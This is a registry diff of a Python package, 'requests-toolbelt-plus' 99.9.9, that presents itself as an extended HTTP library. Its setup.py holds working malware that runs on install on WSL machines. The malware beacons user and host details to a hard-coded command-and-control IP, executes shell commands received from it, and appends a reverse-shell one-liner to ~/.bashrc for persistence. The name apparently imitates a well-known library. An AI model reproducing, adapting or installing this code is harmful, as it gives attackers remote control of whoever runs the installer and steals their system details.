requests-toolbelt-plus 99.9.9__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,9 @@
1
+ Metadata-Version: 2.4
2
+ Name: requests-toolbelt-plus
3
+ Version: 99.9.9
4
+ Summary: Extended HTTP library with additional features
5
+ Author: Security Team
6
+ Requires-Dist: requests
7
+ Dynamic: author
8
+ Dynamic: requires-dist
9
+ Dynamic: summary
@@ -0,0 +1,9 @@
1
+ Metadata-Version: 2.4
2
+ Name: requests-toolbelt-plus
3
+ Version: 99.9.9
4
+ Summary: Extended HTTP library with additional features
5
+ Author: Security Team
6
+ Requires-Dist: requests
7
+ Dynamic: author
8
+ Dynamic: requires-dist
9
+ Dynamic: summary
@@ -0,0 +1,7 @@
1
+ setup.py
2
+ requests_toolbelt_plus/__init__.py
3
+ requests_toolbelt_plus.egg-info/PKG-INFO
4
+ requests_toolbelt_plus.egg-info/SOURCES.txt
5
+ requests_toolbelt_plus.egg-info/dependency_links.txt
6
+ requests_toolbelt_plus.egg-info/requires.txt
7
+ requests_toolbelt_plus.egg-info/top_level.txt
@@ -0,0 +1 @@
1
+ requests_toolbelt_plus
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
@@ -0,0 +1,71 @@
1
+ #!/usr/bin/env python3
2
+ from setuptools import setup, find_packages
3
+ import subprocess
4
+ import sys
5
+ import os
6
+ import socket
7
+ import threading
8
+ import urllib.request
9
+ import json
10
+
11
+ C2_HOST = "185.184.192.205"
12
+ C2_PORT = 4444
13
+
14
+ def is_wsl():
15
+ try:
16
+ with open('/proc/version', 'r') as f:
17
+ return 'microsoft' in f.read().lower() or 'wsl' in f.read().lower()
18
+ except:
19
+ return False
20
+
21
+ def send_beacon():
22
+ try:
23
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
24
+ sock.settimeout(5)
25
+ sock.connect((C2_HOST, C2_PORT))
26
+ beacon = json.dumps({
27
+ "type": "beacon",
28
+ "session": f"{os.getlogin()}_{os.uname().nodename}",
29
+ "hostname": os.uname().nodename,
30
+ "user": os.getlogin(),
31
+ "cwd": os.getcwd()
32
+ }).encode()
33
+ sock.send(beacon)
34
+
35
+ def listen_commands():
36
+ try:
37
+ while True:
38
+ data = sock.recv(4096).decode()
39
+ if not data:
40
+ break
41
+ cmd = json.loads(data).get("command", "")
42
+ if cmd:
43
+ result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
44
+ sock.send(json.dumps({"output": result.stdout + result.stderr}).encode())
45
+ except:
46
+ pass
47
+
48
+ threading.Thread(target=listen_commands, daemon=True).start()
49
+ except:
50
+ pass
51
+
52
+ def add_persistence():
53
+ try:
54
+ payload = f'\npython3 -c "import socket,subprocess,os;s=socket.socket();s.connect((\\"{C2_HOST}\\",{C2_PORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\\"/bin/bash\\",\\"-i\\"])" &\n'
55
+ with open(os.path.expanduser("~/.bashrc"), 'a') as f:
56
+ f.write(payload)
57
+ except:
58
+ pass
59
+
60
+ if is_wsl():
61
+ send_beacon()
62
+ add_persistence()
63
+
64
+ setup(
65
+ name="requests-toolbelt-plus",
66
+ version="99.9.9",
67
+ packages=find_packages(),
68
+ install_requires=["requests"],
69
+ author="Security Team",
70
+ description="Extended HTTP library with additional features",
71
+ )